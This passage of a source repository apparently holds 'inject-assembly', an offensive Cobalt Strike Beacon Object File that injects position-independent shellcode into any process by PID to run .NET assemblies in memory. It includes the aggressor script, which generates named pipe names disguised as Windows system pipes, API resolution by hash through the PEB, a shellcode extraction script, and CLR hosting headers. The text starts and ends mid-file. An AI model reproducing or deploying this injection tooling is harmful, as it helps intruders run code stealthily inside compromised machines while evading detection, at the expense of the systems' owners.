44 | * [https://github.com/anthemtotheego/InlineExecute-Assembly](https://github.com/anthemtotheego/InlineExecute-Assembly)
45 | * [https://www.mdsec.co.uk/2020/08/massaging-your-clr-preventing-environment-exit-in-in-process-net-assemblies](https://www.mdsec.co.uk/2020/08/massaging-your-clr-preventing-environment-exit-in-in-process-net-assemblies)
46 |
--------------------------------------------------------------------------------
/demo.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kyleavery/inject-assembly/8db977c0fd1da039df920f9dd4840d4a3ec2aa2c/demo.gif
--------------------------------------------------------------------------------
/inject-assembly.cna:
--------------------------------------------------------------------------------
1 | import beacon.CommandBuilder;
2 | import common.CommonUtils;
3 |
4 | # https://github.com/Tylous/SourcePoint/blob/main/Loader/Loader.go#L134
5 | sub random_pipe {
6 | @pipename_list = @();
7 | add(@pipename_list, "SapIServerPipes-1-5-5-0");
8 | add(@pipename_list, "epmapper-");
9 | add(@pipename_list, "atsvc-");
10 | add(@pipename_list, "plugplay+");
11 | add(@pipename_list, "srvsvc-1-5-5-0");
12 | add(@pipename_list, "W32TIME_ALT_");
13 | add(@pipename_list, "tapsrv_");
14 | add(@pipename_list, "Printer_Spools_");
15 |
16 | return @pipename_list[rand(8)].rand(10).rand(10).rand(10).rand(10);
17 | }
18 |
19 | alias inject-assembly {
20 | $cmd = substr($0, 16);
21 | @args = split(' ', $cmd);
22 | $pid = @args[0];
23 |
24 |
25 | $barch = barch( $1 );
26 | $iafs = openf( script_resource( "injectassembly. $+ $barch $+ .o") );
27 | $iarw = readb( $iafs, -1 );
28 | closef( $iafs );
29 |
30 | if ( @args[0] eq $null || @args[1] eq $null)
31 | {
32 | berror( $1, "Usage: inject-assembly pid assembly [args...]\n" );
33 | return;
34 | }
35 |
36 | if ( !-isnumber $pid )
37 | {
38 | berror( $1, "Invalid PID: $pid\n" );
39 | return;
40 | }
41 | else
42 | {
43 | if ( $pid eq 0 )
44 | {
45 | $pid = beacon_info( $1, "pid" );
46 | }
47 | }
48 |
49 | if ( !-exists @args[1] || !-isFile @args[1] )
50 | {
51 | berror($1, "Assembly file not found: ".@args[1]."\n");
52 | return;
53 | }
54 |
55 | $asmfs = openf( @args[1] );
56 | $asmrw = readb( $asmfs, -1 );
57 | $asmsize = strlen($asmrw);
58 | closef( $asmfs );
59 |
60 | @asmargarr = sublist(@args, 2, size(@args));
61 | $asmargs = "";
62 | foreach %arg (@asmargarr)
63 | {
64 | if ( !$asmargs )
65 | {
66 | $asmargs = %arg;
67 | }
68 | else
69 | {
70 | $asmargs = $asmargs . " " . %arg;
71 | }
72 | }
73 |
74 | if ( !$asmargs )
75 | {
76 | $asmargs = "NOARGS";
77 | }
78 |
79 | $pipen = "\\\\.\\pipe\\".random_pipe();
80 |
81 | #btask($1, "Assembly Path: ".@args[1]);
82 | #btask($1, "Size: ".$asmsize);
83 | #btask($1, "Pipe: ".$pipen);
84 | #btask($1, "Args: ".$asmargs);
85 |
86 | $argvs = bof_pack( $1, "zzzbz", $pid, $pipen, $asmsize, $asmrw, $asmargs );
87 | beacon_inline_execute( $1, $iarw, "go", $argvs );
88 |
89 | $build = [ new CommandBuilder ];
90 | [$build setCommand: 40];
91 | [$build addInteger: 0];
92 | [$build addShort: 32];
93 | [$build addShort: 15000];
94 | [$build addLengthAndString: $pipen];
95 | [$build addLengthAndString: "inject-assembly ".@args[1]];
96 | call( "beacons.task", $null, $1, cast( [$build build], 'b' ) );
97 | }
98 |
99 | beacon_command_register(
100 | "inject-assembly",
101 | "Execute a .NET assembly in any process",
102 | " Usage: inject-assembly pid assembly [args...]\n".
103 | " Specify 0 for pid to run in the current process"
104 | );
105 |
106 |
--------------------------------------------------------------------------------
/scripts/extract.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding:utf-8 -*-
3 |
4 | # https://github.com/SolomonSklash/netntlm/blob/master/scripts/ExtractBin.py
5 |
6 | import pefile
7 | import argparse
8 |
9 | if __name__ in '__main__':
10 | try:
11 | parser = argparse.ArgumentParser( description = 'Extracts shellcode from a PE.' );
12 | parser.add_argument( '-f', required = True, help = 'Path to the source executable', type = str );
13 | parser.add_argument( '-o', required = True, help = 'Path to store the output raw binary', type = str );
14 | option = parser.parse_args();
15 |
16 | PeExe = pefile.PE( option.f );
17 | PeSec = PeExe.sections[0].get_data();
18 |
19 | if PeSec.find( b'ENDOFCODE' ) != None:
20 | ScRaw = PeSec[ : PeSec.find( b'ENDOFCODE' ) ];
21 | f = open( option.o, 'wb+' );
22 | f.write( ScRaw );
23 | f.close();
24 | else:
25 | print('[!] error: no ending tag');
26 | except Exception as e:
27 | print( '[!] error: {}'.format( e ) );
28 |
--------------------------------------------------------------------------------
/scripts/hashstring.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding:utf-8 -*-
3 |
4 | # https://github.com/SolomonSklash/netntlm/blob/master/scripts/hashstring.py
5 |
6 | import sys
7 |
8 | def hash_string( string ):
9 | try:
10 | hash = 5381
11 |
12 | for x in string.upper():
13 | hash = (( hash << 5 ) + hash ) + ord(x)
14 |
15 | return hash & 0xFFFFFFFF
16 | except:
17 | pass
18 |
19 | if __name__ in '__main__':
20 | try:
21 | print('0x%x' % hash_string(sys.argv[1]));
22 | except IndexError:
23 | print('usage: %s [string]' % sys.argv[0]);
24 |
--------------------------------------------------------------------------------
/src/LinkOrder.ld:
--------------------------------------------------------------------------------
1 | SECTIONS
2 | {
3 | .text ALIGN( 1 ) : SUBALIGN( 1 )
4 | {
5 | *( .text$A )
6 | *( .text$B )
7 | *( .text$C )
8 | *( .text$D )
9 | *( .text$E )
10 | *( .rdata* )
11 | *( .text$F )
12 | }
13 | }
--------------------------------------------------------------------------------
/src/api.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | typedef struct
4 | {
5 | D_API( AllocConsole );
6 | D_API( CLRCreateInstance );
7 | D_API( CommandLineToArgvW );
8 | D_API( ConnectNamedPipe );
9 | D_API( CreateNamedPipeA );
10 | D_API( FreeConsole );
11 | D_API( GetConsoleWindow );
12 | D_API( GetStdHandle );
13 | D_API( GetSystemInfo );
14 | D_API( LdrLoadDll );
15 | D_API( LdrUnloadDll );
16 | D_API( MultiByteToWideChar );
17 | D_API( NtClose );
18 | D_API( NtProtectVirtualMemory );
19 | D_API( NtQueryVirtualMemory );
20 | D_API( OpenProcess );
21 | D_API( RtlAllocateHeap );
22 | D_API( RtlFreeHeap );
23 | D_API( RtlInitUnicodeString );
24 | D_API( SafeArrayAccessData );
25 | D_API( SafeArrayCreate );
26 | D_API( SafeArrayCreateVector );
27 | D_API( SafeArrayDestroy );
28 | D_API( SafeArrayGetLBound );
29 | D_API( SafeArrayGetUBound );
30 | D_API( SafeArrayPutElement );
31 | D_API( SafeArrayUnaccessData );
32 | D_API( SetStdHandle );
33 | D_API( ShowWindow );
34 | D_API( SysAllocString );
35 | D_API( SysFreeString );
36 | D_API( VirtualAlloc );
37 | D_API( VirtualFree );
38 | D_API( WaitForSingleObject );
39 | D_API( WriteFile );
40 | D_API( vsnprintf );
41 |
42 | } API, *PAPI;
43 |
--------------------------------------------------------------------------------
/src/asm/start.asm:
--------------------------------------------------------------------------------
1 | GLOBAL GetIp
2 | GLOBAL Leave
3 | GLOBAL Table
4 |
5 | [SEGMENT .text$C]
6 |
7 | Table:
8 | dq 0
9 | dq 0
10 | dq 0
11 |
12 | [SEGMENT .text$F]
13 |
14 | GetIp:
15 | call get_ret_ptr
16 |
17 | get_ret_ptr:
18 | pop rax
19 | sub rax, 5
20 | ret
21 |
22 |
23 | Leave:
24 | db 'E', 'N', 'D', 'O', 'F', 'C', 'O', 'D', 'E'
--------------------------------------------------------------------------------
/src/bapi.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #ifndef CALLBACK_OUTPUT
4 | #define CALLBACK_OUTPUT 0x0
5 | #endif
6 |
7 | #ifndef CALLBACK_ERROR
8 | #define CALLBACK_ERROR 0x0d
9 | #endif
10 |
11 | typedef struct {
12 | PCHAR Original;
13 | PCHAR Buffer;
14 | INT Length;
15 | INT Size;
16 | } DATAP, *PDATAP;
17 |
18 | DECLSPEC_IMPORT
19 | VOID
20 | BeaconInjectProcess(
21 | _In_opt_ HANDLE hProc,
22 | _In_opt_ INT Pid,
23 | _In_ PCHAR Payload,
24 | _In_ INT Length,
25 | _In_ INT Offset,
26 | _In_ PCHAR Argument,
27 | _In_ INT ArgLength
28 | );
29 |
30 | DECLSPEC_IMPORT
31 | PCHAR
32 | BeaconDataExtract(
33 | _Inout_ PDATAP Parser,
34 | _In_ PINT Size
35 | );
36 |
37 | DECLSPEC_IMPORT
38 | VOID
39 | BeaconDataParse(
40 | _Inout_ PDATAP Parser,
41 | _In_ PCHAR Buffer,
42 | _In_ INT Size
43 | );
44 |
45 | DECLSPEC_IMPORT
46 | BOOL
47 | BeaconIsAdmin(
48 | _In_ VOID
49 | );
50 |
51 | DECLSPEC_IMPORT
52 | VOID
53 | BeaconPrintf(
54 | _In_ INT Type,
55 | _In_ PCHAR Format,
56 | ...
57 | );
58 |
59 | typedef struct {
60 | D_API( BeaconInjectProcess );
61 | D_API( BeaconDataExtract );
62 | D_API( BeaconDataParse );
63 | D_API( BeaconIsAdmin );
64 | D_API( BeaconPrintf );
65 | } BAPI_TABLE, *PBAPI_TABLE;
66 |
--------------------------------------------------------------------------------
/src/bfmain.c:
--------------------------------------------------------------------------------
1 | #include "common.h"
2 |
3 | D_SEC( A ) VOID WINAPI BofMain( _In_ PBAPI_TABLE BeaconApi, _In_ PVOID Argv, _In_ INT Argc )
4 | {
5 | API Api;
6 | DATAP Psr;
7 | HANDLE hPrc = NULL;
8 | PVOID Data = NULL;
9 |
10 | PVOID Ntd = NULL;
11 | PVOID K32 = NULL;
12 |
13 | PCHAR PidStr;
14 | INT PidSiz = 0;
15 | INT Pid = 0;
16 |
17 | PCHAR PipStr = NULL;
18 | PCHAR LenStr = NULL;
19 | PCHAR AsmStr = NULL;
20 | PCHAR ArgStr = NULL;
21 | INT PipSiz = 0;
22 | INT LenSiz = 0;
23 | INT AsmSiz = 0;
24 | INT ArgSiz = 0;
25 |
26 |
27 | RtlSecureZeroMemory( &Api, sizeof( Api ) );
28 | RtlSecureZeroMemory( &Psr, sizeof( Psr ) );
29 |
30 | Ntd = PebGetModule( H_LIB_NTDLL );
31 | K32 = PebGetModule( H_LIB_KERNEL32 );
32 |
33 | BeaconApi->BeaconDataParse( &Psr, Argv, Argc );
34 | Api.RtlAllocateHeap = PeGetFuncEat( Ntd, H_API_RTLALLOCATEHEAP );
35 | Api.NtClose = PeGetFuncEat( Ntd, H_API_NTCLOSE );
36 | Api.OpenProcess = PeGetFuncEat( K32, H_API_OPENPROCESS );
37 |
38 | PidStr = BeaconApi->BeaconDataExtract( &Psr, &PidSiz );
39 | Pid = custatoi( PidStr );
40 |
41 | PipStr = BeaconApi->BeaconDataExtract( &Psr, &PipSiz );
42 | LenStr = BeaconApi->BeaconDataExtract( &Psr, &LenSiz );
43 | AsmStr = BeaconApi->BeaconDataExtract( &Psr, &AsmSiz );
44 | ArgStr = BeaconApi->BeaconDataExtract( &Psr, &ArgSiz );
45 |
46 |
47 | Data = Api.RtlAllocateHeap( NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap,
48 | HEAP_ZERO_MEMORY,
49 | sizeof( PipSiz ) + 1 + PipSiz +
50 | sizeof( LenSiz ) + 1 + LenSiz +
51 | sizeof( AsmSiz ) + 1 + AsmSiz +
52 | sizeof( ArgSiz ) + 1 + ArgSiz
53 | );
54 |
55 | if ( Data == NULL )
56 | {
57 | BeaconApi->BeaconPrintf( CALLBACK_OUTPUT, L"[-] Unknown exception" );
58 | return;
59 | };
60 |
61 | cpymem( Data,
62 | &PipSiz,
63 | sizeof( PipSiz ) + 1
64 | );
65 | cpymem( Data + sizeof( PipSiz ) + 1,
66 | PipStr,
67 | PipSiz
68 | );
69 | cpymem( Data + sizeof( PipSiz ) + 1 + PipSiz,
70 | &LenSiz,
71 | sizeof( LenSiz ) + 1
72 | );
73 | cpymem( Data + sizeof( PipSiz ) + 1 + PipSiz + sizeof( LenSiz ) + 1,
74 | LenStr,
75 | LenSiz
76 | );
77 | cpymem( Data + sizeof( PipSiz ) + 1 + PipSiz + sizeof( LenSiz ) + 1 + LenSiz,
78 | &AsmSiz,
79 | sizeof( AsmSiz ) + 1
80 | );
81 | cpymem( Data + sizeof( PipSiz ) + 1 + PipSiz + sizeof( LenSiz ) + 1 + LenSiz + sizeof( AsmSiz ) + 1,
82 | AsmStr,
83 | AsmSiz
84 | );
85 |
86 | cpymem( Data + sizeof( PipSiz ) + 1 + PipSiz + sizeof( LenSiz ) + 1 + LenSiz + sizeof( AsmSiz ) + 1 + AsmSiz,
87 | &ArgSiz,
88 | sizeof( ArgSiz ) + 1
89 | );
90 | cpymem( Data + sizeof( PipSiz ) + 1 + PipSiz + sizeof( LenSiz ) + 1 + LenSiz + sizeof( AsmSiz ) + 1 + AsmSiz + sizeof( ArgSiz ) + 1,
91 | ArgStr,
92 | ArgSiz
93 | );
94 |
95 | if ( ( hPrc = Api.OpenProcess( PROCESS_ALL_ACCESS, FALSE, Pid ) ) != NULL )
96 | {
97 | BeaconApi->BeaconInjectProcess( hPrc,
98 | Pid,
99 | C_PTR( G_PTR( ExecuteAssembly ) ),
100 | U_PTR( U_PTR( G_END( ) ) - U_PTR( G_PTR( ExecuteAssembly ) ) ),
101 | 0,
102 | Data,
103 | sizeof( PipSiz ) + 1 + PipSiz +
104 | sizeof( LenSiz ) + 1 + LenSiz +
105 | sizeof( AsmSiz ) + 1 + AsmSiz +
106 | sizeof( ArgSiz ) + 1 + ArgSiz
107 | );
108 | Api.NtClose( hPrc );
109 | }
110 | else
111 | {
112 | BeaconApi->BeaconPrintf( CALLBACK_OUTPUT, C_PTR( G_PTR( L"[-] Unable to open process" ) ) );
113 | return;
114 | };
115 | };
116 |
--------------------------------------------------------------------------------
/src/bfmain.h:
--------------------------------------------------------------------------------
1 | #include "common.h"
2 |
3 | D_SEC( A ) VOID WINAPI BofMain( _In_ PBAPI_TABLE BeaconApi, _In_ PVOID Argv, _In_ INT Argc );
4 |
--------------------------------------------------------------------------------
/src/bof/IABOF.c:
--------------------------------------------------------------------------------
1 | #include "../common.h"
2 |
3 | VOID go( PVOID Argv, INT Argc )
4 | {
5 | BAPI_TABLE Api;
6 |
7 | RtlSecureZeroMemory( &Api, sizeof( Api ) );
8 | Api.BeaconInjectProcess = C_PTR( BeaconInjectProcess );
9 | Api.BeaconDataExtract = C_PTR( BeaconDataExtract );
10 | Api.BeaconDataParse = C_PTR( BeaconDataParse );
11 | Api.BeaconIsAdmin = C_PTR( BeaconIsAdmin );
12 | Api.BeaconPrintf = C_PTR( BeaconPrintf );
13 |
14 | BofMain( &Api, Argv, Argc );
15 | };
--------------------------------------------------------------------------------
/src/bof/IAStart.asm:
--------------------------------------------------------------------------------
1 | [SEGMENT .text]
2 |
3 | GLOBAL BofMain
4 | BofMain:
5 | incbin "injectassembly.x64.bin"
--------------------------------------------------------------------------------
/src/clr.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | typedef struct
4 | {
5 | ICLRMetaHost* MH;
6 | ICLRRuntimeInfo* RI;
7 | ICorRuntimeHost* RH;
8 | _MethodInfo* EN;
9 | _MethodInfo* EX;
10 | _MethodInfo* FP;
11 | _AppDomain* DA;
12 | _Assembly* AS;
13 | _Assembly* MS;
14 | _Type* MI;
15 | _Type* SE;
16 | _Type* RM;
17 | _PropertyInfo* HA;
18 | IUnknown* AD;
19 | SAFEARRAY* PR;
20 | SAFEARRAY* AR;
21 | SAFEARRAY* PS;
22 | SAFEARRAY* ID;
23 | SAFEARRAY* FA;
24 | SAFEARRAYBOUND SB[1];
25 | PVOID PD;
26 | OLECHAR OC[1];
27 | INT AC;
28 | LONG UC;
29 | LONG LC;
30 | ULONG LN;
31 | ULONG CT;
32 | WCHAR** AL;
33 | WCHAR BF[257];
34 | VARIANT V1;
35 | VARIANT V2;
36 | VARIANT V3;
37 |
38 | } CLR, *PCLR;
39 |
--------------------------------------------------------------------------------
/src/common.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 |
12 | #include "macros.h"
13 | #include "labels.h"
14 | #include "native.h"
15 | #include "mscoree.h"
16 | #include "mscorlib.h"
17 | #include "metahost.h"
18 | #include "hashes.h"
19 | #include "bapi.h"
20 | #include "api.h"
21 | #include "clr.h"
22 | #include "ols.h"
23 | #include "util.h"
24 |
25 | #include "bfmain.h"
26 | #include "scmain.h"
27 | #include "pipe.h"
28 |
29 |
--------------------------------------------------------------------------------
/src/hashes.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #define H_API_ALLOCCONSOLE 0x3c2fba83
4 | #define H_API_CLRCREATEINSTANCE 0x2303b88f
5 | #define H_API_COMMANDLINETOARGVW 0xec6ba0d6
6 | #define H_API_CONNECTNAMEDPIPE 0x436e4c62
7 | #define H_API_CREATENAMEDPIPEA 0xa05e2a6d
8 | #define H_API_FREECONSOLE 0xa4e66f3a
9 | #define H_API_GETCONSOLEWINDOW 0xc2c4270
10 | #define H_API_GETSTDHANDLE 0x9ab85b1c
11 | #define H_API_GETSYSTEMINFO 0xb50d96b6
12 | #define H_API_LDRLOADDLL 0x9e456a43
13 | #define H_API_LDRUNLOADDLL 0xd995c1e6
14 | #define H_API_MULTIBYTETOWIDECHAR 0xa3c8f4ce
15 | #define H_API_NTCLOSE 0x40d6e69d
16 | #define H_API_NTPROTECTVIRTUALMEMORY 0x50e92888
17 | #define H_API_NTQUERYVIRTUALMEMORY 0x10c0e85d
18 | #define H_API_OPENPROCESS 0x8b21e0b6
19 | #define H_API_RTLALLOCATEHEAP 0x3be94c5a
20 | #define H_API_RTLFREEHEAP 0x73a9e4d7
21 | #define H_API_RTLINITUNICODESTRING 0xef52b589
22 | #define H_API_SAFEARRAYACCESSDATA 0xf6a0d34f
23 | #define H_API_SAFEARRAYCREATE 0x53ec8017
24 | #define H_API_SAFEARRAYCREATEVECTOR 0x6b6a636a
25 | #define H_API_SAFEARRAYDESTROY 0x12b6aed
26 | #define H_API_SAFEARRAYGETLBOUND 0x90569627
27 | #define H_API_SAFEARRAYGETUBOUND 0xa55503d0
28 | #define H_API_SAFEARRAYPUTELEMENT 0x311f586
29 | #define H_API_SAFEARRAYUNACCESSDATA 0xe981b312
30 | #define H_API_SETSTDHANDLE 0xe620bba8
31 | #define H_API_SHOWWINDOW 0x29bbc91e
32 | #define H_API_SYSALLOCSTRING 0x3351eb46
33 | #define H_API_SYSFREESTRING 0xa20b53d
34 | #define H_API_VIRTUALALLOC 0x097bc257
35 | #define H_API_VIRTUALFREE 0xe144a60e
36 | #define H_API_VSNPRINTF 0xa59022ce
37 | #define H_API_WAITFORSINGLEOBJECT 0xdf1b3da
38 | #define H_API_WRITEFILE 0xf1d207d0
39 |
40 | #define H_LIB_KERNEL32 0x6ddb9555
41 | #define H_LIB_MSCOREE 0xab2079d
42 | #define H_LIB_MSVCRT 0x7a21064e
43 | #define H_LIB_NTDLL 0x1edab0ed
44 | #define H_LIB_OLE32 0xe44617fe
45 | #define H_LIB_SHELL32 0x296b54ac
46 | #define H_LIB_USER32 0x2208cf13
--------------------------------------------------------------------------------
/src/labels.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | static ULONG_PTR GetIp( VOID );
4 | static ULONG_PTR Leave( VOID );
5 | static ULONG_PTR Table( VOID );
6 |
--------------------------------------------------------------------------------
/src/macros.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #define D_API( x ) __typeof__( x ) * x
4 | #define D_SEC( x ) __attribute__(( section( ".text$" #x "" ) ))
5 | #define C_PTR( x ) ( ( PVOID ) x )
6 | #define U_PTR( x ) ( ( ULONG_PTR ) x )
7 | #define ASIZE( x ) ( sizeof( x ) - 1 )
8 | #define G_END( x ) ( ULONG_PTR )( GetIp() + 11 )
9 | #define G_PTR( x ) ( ULONG_PTR )( GetIp() - ( ( ULONG_PTR ) & GetIp - ( ULONG_PTR ) x ) )
10 |
11 | #define ADATA_SIZE( x ) ( sizeof( x ) - 1 )
12 | #define NT_SUCCESS( x ) ( ( NTSTATUS ) ( x ) >= 0 )
13 |
14 | #define NtCurrentProcess() ( ( HANDLE ) (LONG_PTR ) -1 )
15 | #define NtCurrentThread() ( ( HANDLE )( LONG_PTR ) -2 )
16 |
--------------------------------------------------------------------------------
/src/metahost.h:
--------------------------------------------------------------------------------
1 | #pragma warning( disable: 4049 )
2 |
3 | #ifndef __REQUIRED_RPCNDR_H_VERSION__
4 | #define __REQUIRED_RPCNDR_H_VERSION__ 475
5 | #endif
6 |
7 | #include "rpc.h"
8 | #include "rpcndr.h"
9 |
10 | #ifndef __RPCNDR_H_VERSION__
11 | #error this stub requires an updated version of
12 | #endif
13 |
14 | #ifndef COM_NO_WINDOWS_H
15 | #include "windows.h"
16 | #include "ole2.h"
17 | #endif
18 |
19 | #ifndef __metahost_h__
20 | #define __metahost_h__
21 |
22 | #if defined(_MSC_VER) && (_MSC_VER >= 1020)
23 | #pragma once
24 | #endif
25 |
26 |
27 |
28 | #ifndef __ICLRRuntimeInfo_FWD_DEFINED__
29 | #define __ICLRRuntimeInfo_FWD_DEFINED__
30 | typedef interface ICLRRuntimeInfo ICLRRuntimeInfo;
31 |
32 | #endif
33 |
34 | #ifndef __ICLRMetaHost_FWD_DEFINED__
35 | #define __ICLRMetaHost_FWD_DEFINED__
36 | typedef interface ICLRMetaHost ICLRMetaHost;
37 |
38 | #endif
39 |
40 | #include "unknwn.h"
41 | #include "oaidl.h"
42 | #include "ocidl.h"
43 | #include "mscoree.h"
44 |
45 |
46 |
47 | #ifdef WINE_NO_UNICODE_MACROS
48 | #undef LoadLibrary
49 | #endif
50 |
51 | extern RPC_IF_HANDLE __MIDL_itf_metahost_0000_0000_v0_0_c_ifspec;
52 | extern RPC_IF_HANDLE __MIDL_itf_metahost_0000_0000_v0_0_s_ifspec;
53 |
54 | #ifndef __ICLRRuntimeInfo_INTERFACE_DEFINED__
55 | #define __ICLRRuntimeInfo_INTERFACE_DEFINED__
56 |
57 |
58 |
59 | EXTERN_C const IID IID_ICLRRuntimeInfo;
60 |
61 | typedef struct ICLRRuntimeInfoVtbl
62 | {
63 | BEGIN_INTERFACE
64 |
65 | HRESULT ( STDMETHODCALLTYPE *QueryInterface )(
66 | ICLRRuntimeInfo * This,
67 | REFIID riid,
68 |
69 | _COM_Outptr_ void **ppvObject);
70 |
71 | ULONG ( STDMETHODCALLTYPE *AddRef )(
72 | ICLRRuntimeInfo * This);
73 |
74 | ULONG ( STDMETHODCALLTYPE *Release )(
75 | ICLRRuntimeInfo * This);
76 |
77 | HRESULT ( STDMETHODCALLTYPE *GetVersionString )(
78 | ICLRRuntimeInfo * This,
79 | LPWSTR pwzBuffer,
80 | DWORD *pcchBuffer);
81 |
82 | HRESULT ( STDMETHODCALLTYPE *GetRuntimeDirectory )(
83 | ICLRRuntimeInfo * This,
84 | LPWSTR pwzBuffer,
85 | DWORD *pcchBuffer);
86 |
87 | HRESULT ( STDMETHODCALLTYPE *IsLoaded )(
88 | ICLRRuntimeInfo * This,
89 | HANDLE hndProcess,
90 | BOOL *pbLoaded);
91 |
92 | HRESULT ( STDMETHODCALLTYPE *LoadErrorString )(
93 | ICLRRuntimeInfo * This,
94 | UINT iResourceID,
95 | LPWSTR pwzBuffer,
96 | DWORD *pcchBuffer,
97 | LONG iLocaleid);
98 |
99 | HRESULT ( STDMETHODCALLTYPE *LoadLibrary )(
100 | ICLRRuntimeInfo * This,
101 | LPCWSTR pwzDllName,
102 | HMODULE *phndModule);
103 |
104 | HRESULT ( STDMETHODCALLTYPE *GetProcAddress )(
105 | ICLRRuntimeInfo * This,
106 | LPCSTR pszProcName,
107 | LPVOID *ppProc);
108 |
109 | HRESULT ( STDMETHODCALLTYPE *GetInterface )(
110 | ICLRRuntimeInfo * This,
111 | REFCLSID rclsid,
112 | REFIID riid,
113 | LPVOID *ppUnk);
114 |
115 | HRESULT ( STDMETHODCALLTYPE *IsLoadable )(
116 | ICLRRuntimeInfo * This,
117 | BOOL *pbLoadable);
118 |
119 | HRESULT ( STDMETHODCALLTYPE *SetDefaultStartupFlags )(
120 | ICLRRuntimeInfo * This,
121 | DWORD dwStartupFlags,
122 | LPCWSTR pwzHostConfigFile);
123 |
124 | HRESULT ( STDMETHODCALLTYPE *GetDefaultStartupFlags )(
125 | ICLRRuntimeInfo * This,
126 | DWORD *pdwStartupFlags,
127 | LPWSTR pwzHostConfigFile,
128 | DWORD *pcchHostConfigFile);
129 |
130 | HRESULT ( STDMETHODCALLTYPE *BindAsLegacyV2Runtime )(
131 | ICLRRuntimeInfo * This);
132 |
133 | HRESULT ( STDMETHODCALLTYPE *IsStarted )(
134 | ICLRRuntimeInfo * This,
135 | BOOL *pbStarted,
136 | DWORD *pdwStartupFlags);
137 |
138 | END_INTERFACE
139 | } ICLRRuntimeInfoVtbl;
140 |
141 | interface ICLRRuntimeInfo
142 | {
143 | CONST_VTBL struct ICLRRuntimeInfoVtbl *lpVtbl;
144 | };
145 |
146 | #endif
147 |
148 |
149 |
150 | typedef HRESULT ( __stdcall *CallbackThreadSetFnPtr )( void);
151 |
152 | typedef HRESULT ( __stdcall *CallbackThreadUnsetFnPtr )( void);
153 |
154 | typedef void ( __stdcall *RuntimeLoadedCallbackFnPtr )(
155 | ICLRRuntimeInfo *pRuntimeInfo,
156 | CallbackThreadSetFnPtr pfnCallbackThreadSet,
157 | CallbackThreadUnsetFnPtr pfnCallbackThreadUnset);
158 |
159 | DEFINE_GUID(CLSID_CLRDebuggingLegacy, 0xDF8395B5,0xA4BA,0x450b,0xA7,0x7C,0xA9,0xA4,0x77,0x62,0xC5,0x20);
160 | DEFINE_GUID(CLSID_CLRMetaHost, 0x9280188d,0x0e8e,0x4867,0xb3,0x0c,0x7f,0xa8,0x38,0x84,0xe8,0xde);
161 |
162 | extern RPC_IF_HANDLE __MIDL_itf_metahost_0000_0001_v0_0_c_ifspec;
163 | extern RPC_IF_HANDLE __MIDL_itf_metahost_0000_0001_v0_0_s_ifspec;
164 |
165 | #ifndef __ICLRMetaHost_INTERFACE_DEFINED__
166 | #define __ICLRMetaHost_INTERFACE_DEFINED__
167 |
168 |
169 |
170 | EXTERN_C const IID IID_ICLRMetaHost;
171 |
172 | typedef struct ICLRMetaHostVtbl
173 | {
174 | BEGIN_INTERFACE
175 |
176 | HRESULT ( STDMETHODCALLTYPE *QueryInterface )(
177 | ICLRMetaHost * This,
178 | REFIID riid,
179 |
180 | _COM_Outptr_ void **ppvObject);
181 |
182 | ULONG ( STDMETHODCALLTYPE *AddRef )(
183 | ICLRMetaHost * This);
184 |
185 | ULONG ( STDMETHODCALLTYPE *Release )(
186 | ICLRMetaHost * This);
187 |
188 | HRESULT ( STDMETHODCALLTYPE *GetRuntime )(
189 | ICLRMetaHost * This,
190 | LPCWSTR pwzVersion,
191 | REFIID iid,
192 | LPVOID *ppRuntime);
193 |
194 | HRESULT ( STDMETHODCALLTYPE *GetVersionFromFile )(
195 | ICLRMetaHost * This,
196 | LPCWSTR pwzFilePath,
197 | LPWSTR pwzBuffer,
198 | DWORD *pcchBuffer);
199 |
200 | HRESULT ( STDMETHODCALLTYPE *EnumerateInstalledRuntimes )(
201 | ICLRMetaHost * This,
202 | IEnumUnknown **ppEnumerator);
203 |
204 | HRESULT ( STDMETHODCALLTYPE *EnumerateLoadedRuntimes )(
205 | ICLRMetaHost * This,
206 | HANDLE hndProcess,
207 | IEnumUnknown **ppEnumerator);
208 |
209 | HRESULT ( STDMETHODCALLTYPE *RequestRuntimeLoadedNotification )(
210 | ICLRMetaHost * This,
211 | RuntimeLoadedCallbackFnPtr pCallbackFunction);
212 |
213 | HRESULT ( STDMETHODCALLTYPE *QueryLegacyV2RuntimeBinding )(
214 | ICLRMetaHost * This,
215 | REFIID riid,
216 | LPVOID *ppUnk);
217 |
218 | HRESULT ( STDMETHODCALLTYPE *ExitProcess )(
219 | ICLRMetaHost * This,
220 | INT32 iExitCode);
221 |
222 | END_INTERFACE
223 | } ICLRMetaHostVtbl;
224 |
225 | interface ICLRMetaHost
226 | {
227 | CONST_VTBL struct ICLRMetaHostVtbl *lpVtbl;
228 | };
229 |
230 | #endif
231 |
232 |
233 |
234 | HRESULT WINAPI CLRCreateInstance(REFCLSID clsid, REFIID riid, LPVOID *ppInterface);
235 |
236 | extern RPC_IF_HANDLE __MIDL_itf_metahost_0000_0002_v0_0_c_ifspec;
237 | extern RPC_IF_HANDLE __MIDL_itf_metahost_0000_0002_v0_0_s_ifspec;
238 |
239 | #ifdef __cplusplus
240 | }
241 | #endif
242 |
243 | #endif
244 |
245 |
--------------------------------------------------------------------------------
/src/mscoree.h:
--------------------------------------------------------------------------------
1 | #ifdef _WIN32
2 | #ifndef __REQUIRED_RPCNDR_H_VERSION__
3 | #define __REQUIRED_RPCNDR_H_VERSION__ 475
4 | #endif
5 | #include
6 | #include
7 | #endif
8 |
9 | #ifndef COM_NO_WINDOWS_H
10 | #include
11 | #include
12 | #endif
13 |
14 | #ifndef __mscoree_h__
15 | #define __mscoree_h__
16 |
17 | #ifndef __IGCThreadControl_FWD_DEFINED__
18 | #define __IGCThreadControl_FWD_DEFINED__
19 | typedef interface IGCThreadControl IGCThreadControl;
20 | #ifdef __cplusplus
21 | interface IGCThreadControl;
22 | #endif
23 | #endif
24 |
25 | #ifndef __IGCHostControl_FWD_DEFINED__
